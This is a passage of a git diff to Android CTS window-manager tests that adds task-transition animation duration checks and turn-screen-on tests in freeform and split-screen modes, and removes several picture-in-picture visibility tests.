+        final FontScaleSession fontScaleSession = mObjectTracker.manage(new FontScaleSession());
+        final Float originalScale = fontScaleSession.get();
+        fontScaleSession.set((originalScale == null ? 1f : originalScale) + 0.1f);
+        assertActivityLifecycle(SECOND_ACTIVITY, true /* relaunched */);
+
+        // Move the task of test activity to front.
+        final String amStartOutput = SystemUtil.runShellCommand(startTestActivityCmd);
+        assertLaunchComponentState(amStartOutput, TEST_ACTIVITY, LAUNCH_STATE_RELAUNCH);
+    }
+
+    /**
      * Cold launch an activity with wait option and verify that {@link android.app.WaitResult#totalTime}
      * totalTime is set correctly. Make sure the reported value is consistent with value reported to
      * metrics logs. Verify we output the correct launch state.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
index 9cc15ea..3573d3f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
@@ -16,9 +16,13 @@
 
 package android.server.wm;
 
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.ActivityOptions;
@@ -32,9 +36,11 @@
 import android.server.wm.cts.R;
 import android.util.Range;
 
-import org.junit.Test;
+import androidx.test.platform.app.InstrumentationRegistry;
 
-import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -45,9 +51,23 @@
  */
 @Presubmit
 public class ActivityTransitionTests extends ActivityManagerTestBase {
+    // See WindowManagerService.DISABLE_CUSTOM_TASK_ANIMATION_PROPERTY
+    static final String DISABLE_CUSTOM_TASK_ANIMATION_PROPERTY =
+            "persist.wm.disable_custom_task_animation";
+    static final boolean DISABLE_CUSTOM_TASK_ANIMATION_DEFAULT = true;
+
+    private static boolean customTaskAnimationDisabled() {
+        try {
+            return Integer.parseInt(executeShellCommand(
+                    "getprop " + DISABLE_CUSTOM_TASK_ANIMATION_PROPERTY).replace("\n", "")) != 0;
+        } catch (NumberFormatException e) {
+            return DISABLE_CUSTOM_TASK_ANIMATION_DEFAULT;
+        }
+    }
+
     @Test
     public void testActivityTransitionDurationNoShortenAsExpected() throws Exception {
-        final long expectedDurationMs = 500L - 100L;
+        final long expectedDurationMs = 500L - 100L;    // custom animation
         final long minDurationMs = expectedDurationMs;
         final long maxDurationMs = expectedDurationMs + 300L;
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
@@ -66,10 +86,10 @@
         };
 
         final Intent intent = new Intent(mContext, LauncherActivity.class)
-            .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         final LauncherActivity launcherActivity =
-            (LauncherActivity) instrumentation.startActivitySync(intent);
+                (LauncherActivity) instrumentation.startActivitySync(intent);
 
         final Bundle bundle = ActivityOptions.makeCustomAnimation(mContext,
                 R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
@@ -77,7 +97,7 @@
         launcherActivity.startTransitionActivity(bundle);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
         waitAndAssertTopResumedActivity(new ComponentName(mContext, TransitionActivity.class),
-            DEFAULT_DISPLAY, "Activity must be launched");
+                DEFAULT_DISPLAY, "Activity must be launched");
 
         latch.await(2, TimeUnit.SECONDS);
         final long totalTime = transitionEndTime[0] - transitionStartTime[0];
@@ -86,6 +106,128 @@
                 + "actual=" + totalTime, durationRange.contains(totalTime));
     }
 
+    @Test
+    public void testTaskTransitionDurationNoShortenAsExpected() throws Exception {
+        assumeFalse(customTaskAnimationDisabled());
+
+        final long expectedDurationMs = 500L - 100L;    // custom animation
+        final long minDurationMs = expectedDurationMs;
+        final long maxDurationMs = expectedDurationMs + 300L;
+        final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        long[] transitionStartTime = new long[1];
+        long[] transitionEndTime = new long[1];
+
+        final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
+            transitionStartTime[0] = System.currentTimeMillis();
+        };
+
+        final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
+            transitionEndTime[0] = System.currentTimeMillis();
+            latch.countDown();
+        };
+
+        final Bundle bundle = ActivityOptions.makeCustomAnimation(mContext,
+                R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
+                finishedListener).toBundle();
+        final Intent intent = new Intent().setComponent(TEST_ACTIVITY)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent, bundle);
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity must be launched");
+
+        latch.await(2, TimeUnit.SECONDS);
+        final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+        assertTrue("Actual transition duration should be in the range "
+                + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
+                + "actual=" + totalTime, durationRange.contains(totalTime));
+    }
+
+    @Test
+    public void testTaskTransitionOverrideDisabled() throws Exception {
+        assumeTrue(customTaskAnimationDisabled());
+
+        final long expectedDurationMs = 275L - 100L;   // wallpaper close animation
+        final long minDurationMs = expectedDurationMs;
+        final long maxDurationMs = expectedDurationMs + 300L;
+        final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        long[] transitionStartTime = new long[1];
+        long[] transitionEndTime = new long[1];
+
+        final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
+            transitionStartTime[0] = System.currentTimeMillis();
+        };
+
+        final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
+            transitionEndTime[0] = System.currentTimeMillis();
+            latch.countDown();
+        };
+
+        // Overriding task transit animation is disabled, so default wallpaper close animation
+        // is played.
+        final Bundle bundle = ActivityOptions.makeCustomAnimation(mContext,
+                R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
+                finishedListener).toBundle();
+        final Intent intent = new Intent().setComponent(TEST_ACTIVITY)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent, bundle);
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity must be launched");
+
+        latch.await(2, TimeUnit.SECONDS);
+        final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+        assertTrue("Actual transition duration should be in the range "
+                + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
+                + "actual=" + totalTime, durationRange.contains(totalTime));
+    }
+
+    @Test
+    public void testTaskTransitionOverride() throws Exception {
+        assumeTrue(customTaskAnimationDisabled());
+
+        final long expectedDurationMs = 500L - 100L;    // custom animation
+        final long minDurationMs = expectedDurationMs;
+        final long maxDurationMs = expectedDurationMs + 300L;
+        final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        long[] transitionStartTime = new long[1];
+        long[] transitionEndTime = new long[1];
+
+        final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
+            transitionStartTime[0] = System.currentTimeMillis();
+        };
+
+        final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
+            transitionEndTime[0] = System.currentTimeMillis();
+            latch.countDown();
+        };
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            // Overriding task transit animation is enabled, so custom animation is played.
+            final Bundle bundle = ActivityOptions.makeCustomTaskAnimation(mContext,
+                    R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
+                    finishedListener).toBundle();
+            final Intent intent = new Intent().setComponent(TEST_ACTIVITY)
+                    .addFlags(FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent, bundle);
+            mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+            waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                    "Activity must be launched");
+
+            latch.await(2, TimeUnit.SECONDS);
+            final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+            assertTrue("Actual transition duration should be in the range "
+                    + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
+                    + "actual=" + totalTime, durationRange.contains(totalTime));
+        });
+    }
+
     public static class LauncherActivity extends Activity {
 
         public void startTransitionActivity(Bundle bundle) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 7fda85e..4d5641a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -16,34 +16,28 @@
 
 package android.server.wm;
 
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.content.Intent.ACTION_MAIN;
-import static android.content.Intent.CATEGORY_HOME;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_TASK_ON_HOME;
-import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.VirtualDisplayHelper.waitForDefaultDisplayState;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.app.Components.ALT_LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.ALWAYS_FOCUSABLE_PIP_ACTIVITY;
 import static android.server.wm.app.Components.BROADCAST_RECEIVER_ACTIVITY;
 import static android.server.wm.app.Components.DOCKED_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCH_PIP_ON_PIP_ACTIVITY;
 import static android.server.wm.app.Components.MOVE_TASK_TO_BACK_ACTIVITY;
 import static android.server.wm.app.Components.MoveTaskToBackActivity.EXTRA_FINISH_POINT;
 import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_PAUSE;
 import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_STOP;
 import static android.server.wm.app.Components.NO_HISTORY_ACTIVITY;
+import static android.server.wm.app.Components.RESIZEABLE_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_DIALOG_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TOP_ACTIVITY;
@@ -59,15 +53,11 @@
 import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.ComponentName;
-import android.content.Intent;
-import android.content.pm.ResolveInfo;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ActivitySessionClient;
@@ -87,113 +77,28 @@
     @Rule
     public final DisableScreenDozeRule mDisableScreenDozeRule = new DisableScreenDozeRule();
 
-    @Test
-    public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
-        if (!supportsPip()) {
-            return;
-        }
-
-        executeShellCommand(getAmStartCmdOverHome(LAUNCH_PIP_ON_PIP_ACTIVITY));
-        mWmState.waitForValidState(LAUNCH_PIP_ON_PIP_ACTIVITY);
-        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
-        // translucent activity.
-        final int stackId = mWmState.getStackIdByActivity(
-                LAUNCH_PIP_ON_PIP_ACTIVITY);
-
-        assertNotEquals(stackId, INVALID_STACK_ID);
-        moveTopActivityToPinnedStack(stackId);
-        mWmState.waitForValidState(
-                new WaitForValidActivityState.Builder(ALWAYS_FOCUSABLE_PIP_ACTIVITY)
-                        .setWindowingMode(WINDOWING_MODE_PINNED)
-                        .setActivityType(ACTIVITY_TYPE_STANDARD)
-                        .build());
-
-        mWmState.assertFrontStack("Pinned stack must be the front stack.",
-                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertVisibility(LAUNCH_PIP_ON_PIP_ACTIVITY, true);
-        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
-    }
-
     /**
      * Asserts that the home activity is visible when a translucent activity is launched in the
      * fullscreen stack over the home activity.
      */
     @Test
-    public void testTranslucentActivityOnTopOfHome() throws Exception {
+    public void testTranslucentActivityOnTopOfHome() {
         if (!hasHomeScreen()) {
             return;
         }
 
         launchHomeActivity();
-        launchActivity(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
+        launchActivity(TRANSLUCENT_ACTIVITY);
 
         mWmState.assertFrontStack("Fullscreen stack must be the front stack.",
                 WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
-        mWmState.assertHomeActivityVisible(true);
-    }
-
-    /**
-     * Assert that the home activity is visible if a task that was launched from home is pinned
-     * and also assert the next task in the fullscreen stack isn't visible.
-     */
-    @Test
-    public void testHomeVisibleOnActivityTaskPinned() throws Exception {
-        if (!supportsPip() || !hasHomeScreen()) {
-            return;
-        }
-
-        launchHomeActivity();
-        launchActivity(TEST_ACTIVITY);
-        launchHomeActivity();
-        launchActivity(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
-        final int stackId = mWmState.getStackIdByActivity(
-                ALWAYS_FOCUSABLE_PIP_ACTIVITY);
-
-        assertNotEquals(stackId, INVALID_STACK_ID);
-        moveTopActivityToPinnedStack(stackId);
-        mWmState.waitForValidState(
-                new WaitForValidActivityState.Builder(ALWAYS_FOCUSABLE_PIP_ACTIVITY)
-                        .setWindowingMode(WINDOWING_MODE_PINNED)
-                        .setActivityType(ACTIVITY_TYPE_STANDARD)
-                        .build());
-
-        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, false);
+        mWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
         mWmState.assertHomeActivityVisible(true);
     }
 
     @Test
-    public void testHomeVisibleOnEmptyDisplay() throws Exception {
-        if (!hasHomeScreen()) {
-            return;
-        }
-
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
-        forceStopHome();
-
-        assertEquals(mWmState.getResumedActivitiesCount(), 0);
-        assertEquals(mWmState.getRootTasksCount() , 0);
-
-        pressHomeButton();
-
-        mWmState.waitForHomeActivityVisible();
-        mWmState.assertHomeActivityVisible(true);
-    }
-
-    private void forceStopHome() {
-        final Intent intent = new Intent(ACTION_MAIN);
-        intent.addCategory(CATEGORY_HOME);
-        final ResolveInfo resolveInfo =
-                mContext.getPackageManager().resolveActivity(intent, MATCH_DEFAULT_ONLY);
-        String KILL_APP_COMMAND = "am force-stop " + resolveInfo.activityInfo.packageName;
-
-        executeShellCommand(KILL_APP_COMMAND);
-    }
-
-    @Test
-    public void testTranslucentActivityOverDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
+    public void testTranslucentActivityOverMultiWindowActivity() {
+        if (!supportsMultiWindow()) {
             // Skipping test: no multi-window support
             return;
         }
@@ -201,15 +106,11 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        launchActivity(TRANSLUCENT_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        launchActivityInSecondarySplit(TRANSLUCENT_ACTIVITY);
         mWmState.computeState(
                 new WaitForValidActivityState(TEST_ACTIVITY),
                 new WaitForValidActivityState(DOCKED_ACTIVITY),
                 new WaitForValidActivityState(TRANSLUCENT_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
         mWmState.assertVisibility(DOCKED_ACTIVITY, true);
         mWmState.assertVisibility(TEST_ACTIVITY, true);
         mWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
@@ -221,8 +122,14 @@
 
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         final ActivitySessionClient activityClient = createManagedActivityClientSession();
-        testTurnScreenOnActivity(lockScreenSession, activityClient, true /* useWindowFlags */);
-        testTurnScreenOnActivity(lockScreenSession, activityClient, false /* useWindowFlags */);
+        testTurnScreenOnActivity(lockScreenSession, activityClient,
+                true /* useWindowFlags */, true /* showWhenLocked */);
+        testTurnScreenOnActivity(lockScreenSession, activityClient,
+                false /* useWindowFlags */, true /* showWhenLocked */);
+        testTurnScreenOnActivity(lockScreenSession, activityClient,
+                true /* useWindowFlags */, false /* showWhenLocked */);
+        testTurnScreenOnActivity(lockScreenSession, activityClient,
+                false /* useWindowFlags */, false /* showWhenLocked */);
     }
 
     @Test
@@ -236,27 +143,22 @@
         // timeout should still notify the client activity to be visible. Then the relayout can
         // send the visible request to apply the flags and turn on screen.
         testTurnScreenOnActivity(lockScreenSession, activityClient, true /* useWindowFlags */,
-                1000 /* sleepMsInOnCreate */);
-    }
-
-    private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
-            ActivitySessionClient activitySessionClient, boolean useWindowFlags) {
-        testTurnScreenOnActivity(lockScreenSession, activitySessionClient, useWindowFlags,
-                0 /* sleepMsInOnCreate */);
+                true /* showWhenLocked */, 1000 /* sleepMsInOnCreate */);
     }
 
     private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
             ActivitySessionClient activitySessionClient, boolean useWindowFlags,
-            int sleepMsInOnCreate) {
-        lockScreenSession.sleepDevice();
+            boolean showWhenLocked) {
+        testTurnScreenOnActivity(lockScreenSession, activitySessionClient, useWindowFlags,
+                showWhenLocked, 0 /* sleepMsInOnCreate */);
+    }
 
-        final ActivitySession activity = activitySessionClient.startActivity(
-                getLaunchActivityBuilder().setUseInstrumentation().setIntentExtra(extra -> {
-                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
-                            useWindowFlags);
-                    extra.putLong(Components.TurnScreenOnActivity.EXTRA_SLEEP_MS_IN_ON_CREATE,
-                            sleepMsInOnCreate);
-                }).setTargetActivity(TURN_SCREEN_ON_ACTIVITY));
+    private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
+            ActivitySessionClient activitySessionClient, boolean useWindowFlags,
+            boolean showWhenLocked, int sleepMsInOnCreate) {
+        ActivitySession activity = sleepDeviceAndLaunchTurnScreenOnActivity(lockScreenSession,
+                activitySessionClient, useWindowFlags, showWhenLocked, sleepMsInOnCreate,
+                WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
 
         mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
         assertTrue("Display turns on by " + (useWindowFlags ? "flags" : "APIs"),
@@ -266,23 +168,74 @@
     }
 
     @Test
-    public void testFinishActivityInNonFocusedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
+    public void testFreeformWindowToTurnScreenOn() {
+        assumeTrue(supportsLockScreen());
+        assumeTrue(supportsFreeform());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        final ActivitySessionClient activityClient = createManagedActivityClientSession();
+
+        testFreeformWindowTurnScreenOnActivity(lockScreenSession, activityClient,
+                true/* useWindowFlags */, true/* showWhenLocked */);
+        testFreeformWindowTurnScreenOnActivity(lockScreenSession, activityClient,
+                true/* useWindowFlags */, false/* showWhenLocked */);
+        testFreeformWindowTurnScreenOnActivity(lockScreenSession, activityClient,
+                false/* useWindowFlags */, true/* showWhenLocked */);
+        testFreeformWindowTurnScreenOnActivity(lockScreenSession, activityClient,
+                false/* useWindowFlags */, false/* showWhenLocked */);
+    }
+
+    private void testFreeformWindowTurnScreenOnActivity(LockScreenSession lockScreenSession,
+            ActivitySessionClient activityClient, boolean useWindowFlags,
+            boolean showWhenLocked) {
+        ActivitySession activity = sleepDeviceAndLaunchTurnScreenOnActivity(lockScreenSession,
+                activityClient, useWindowFlags, showWhenLocked,
+                0 /* sleepMsInOnCreate */, WINDOWING_MODE_FREEFORM);
+        mWmState.waitForValidState(
+                new WaitForValidActivityState.Builder(TURN_SCREEN_ON_ACTIVITY)
+                        .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                        .build());
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                TURN_SCREEN_ON_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+        assertTrue("Display should be turned on by flags.", isDisplayOn(DEFAULT_DISPLAY));
+        activity.finish();
+    }
+
+    private ActivitySession sleepDeviceAndLaunchTurnScreenOnActivity(
+            LockScreenSession lockScreenSession, ActivitySessionClient activitySessionClient,
+            boolean useWindowFlags, boolean showWhenLocked, int sleepMsInOnCreate,
+            int windowingMode) {
+        lockScreenSession.sleepDevice();
+
+        return activitySessionClient.startActivity(
+                getLaunchActivityBuilder().setUseInstrumentation().setIntentExtra(extra -> {
+                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
+                            useWindowFlags);
+                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_SHOW_WHEN_LOCKED,
+                            showWhenLocked);
+                    extra.putLong(Components.TurnScreenOnActivity.EXTRA_SLEEP_MS_IN_ON_CREATE,
+                            sleepMsInOnCreate);
+                }).setTargetActivity(TURN_SCREEN_ON_ACTIVITY).setWindowingMode(windowingMode));
+    }
+
+    @Test
+    public void testFinishActivityInNonFocusedStack() {
+        if (!supportsMultiWindow()) {
             // Skipping test: no multi-window support
             return;
         }
 
         // Launch two activities in docked stack.
-        launchActivityInSplitScreenWithRecents(LAUNCHING_ACTIVITY);
+        launchActivityInPrimarySplit(LAUNCHING_ACTIVITY);
         getLaunchActivityBuilder()
                 .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
                 .setWaitForLaunched(true)
                 .setUseInstrumentation()
                 .execute();
         mWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
-        // Launch something to fullscreen stack to make it focused.
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        // Launch something to second split to make it focused.
+        launchActivityInSecondarySplit(TEST_ACTIVITY);
         // Finish activity in non-focused (docked) stack.
         mBroadcastActionTrigger.finishBroadcastReceiverActivity();
 
@@ -311,16 +264,16 @@
     }
 
     @Test
-    public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
+    public void testFinishActivityWithMoveTaskToBackAfterPause() {
         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_PAUSE);
     }
 
     @Test
-    public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
+    public void testFinishActivityWithMoveTaskToBackAfterStop() {
         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_STOP);
     }
 
-    private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
+    private void performFinishActivityWithMoveTaskToBack(String finishPoint) {
         // Make sure home activity is visible.
         launchHomeActivity();
         if (hasHomeScreen()) {
@@ -328,7 +281,7 @@
         }
 
         // Launch an activity that calls "moveTaskToBack" to finish itself.
-        launchActivity(MOVE_TASK_TO_BACK_ACTIVITY, EXTRA_FINISH_POINT, finishPoint);
+        launchActivity(MOVE_TASK_TO_BACK_ACTIVITY, extraString(EXTRA_FINISH_POINT, finishPoint));
         mWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, true);
 
         // Launch a different activity on top.
@@ -357,7 +310,7 @@
      * behavior.
      */
     @Test
-    public void testReorderToFrontBackstack() throws Exception {
+    public void testReorderToFrontBackstack() {
         // Start with home on top
         launchHomeActivity();
         if (hasHomeScreen()) {
@@ -393,7 +346,7 @@
      * home stack.
      */
     @Test
-    public void testReorderToFrontChangingStack() throws Exception {
+    public void testReorderToFrontChangingStack() {
         // Start with home on top
         launchHomeActivity();
         if (hasHomeScreen()) {
@@ -460,6 +413,29 @@
     }
 
     /**
+     * Asserts that a no-history activity is not stopped and removed after a translucent activity
+     * above becomes resumed.
+     */
+    @Test
+    public void testNoHistoryActivityNotFinishedBehindTranslucentActivity() {
+        // Launch a no-history activity
+        launchActivity(NO_HISTORY_ACTIVITY);
+
+        // Launch a translucent activity
+        launchActivity(TRANSLUCENT_ACTIVITY);
+
+        // Wait for the activity resumed
+        mWmState.waitForActivityState(TRANSLUCENT_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NO_HISTORY_ACTIVITY, true);
+
+        pressBackButton();
+
+        // Wait for the activity resumed
+        mWmState.waitForActivityState(NO_HISTORY_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NO_HISTORY_ACTIVITY, true);
+    }
+
+    /**
      *  If the next activity hasn't reported idle but it has drawn and the transition has done, the
      *  previous activity should be stopped and invisible without waiting for idle timeout.
      */
@@ -490,20 +466,50 @@
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.disableLockScreen().sleepDevice();
         separateTestJournal();
-        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY);
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
         assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
         assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
     }
 
     @Test
+    public void testTurnScreenOnAttrNoLockScreen_SplitScreen() {
+        assumeTrue(supportsLockScreen());
+        assumeTrue(supportsMultiWindow());
+
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY));
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.disableLockScreen().sleepDevice();
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY,
+                WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
+        assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+    }
+
+    @Test
+    public void testTurnScreenOnWithAttr_Freeform() {
+        assumeTrue(supportsLockScreen());
+        assumeTrue(supportsFreeform());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.disableLockScreen().sleepDevice();
+
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY, WINDOWING_MODE_FREEFORM);
+        mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
+        assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+    }
+
+    @Test
     public void testTurnScreenOnAttrWithLockScreen() {
         assumeTrue(supportsSecureLock());
 
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.setLockCredential().sleepDevice();
         separateTestJournal();
-        launchActivityNoWait(TURN_SCREEN_ON_ATTR_ACTIVITY);
+        launchActivityNoWait(TURN_SCREEN_ON_ATTR_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         // Wait for the activity stopped because lock screen prevent showing the activity.
         mWmState.waitForActivityState(TURN_SCREEN_ON_ATTR_ACTIVITY, STATE_STOPPED);
         assertFalse("Display keeps off", isDisplayOn(DEFAULT_DISPLAY));
@@ -518,13 +524,33 @@
         lockScreenSession.sleepDevice();
         mWmState.waitForAllStoppedActivities();
         separateTestJournal();
-        launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+        launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
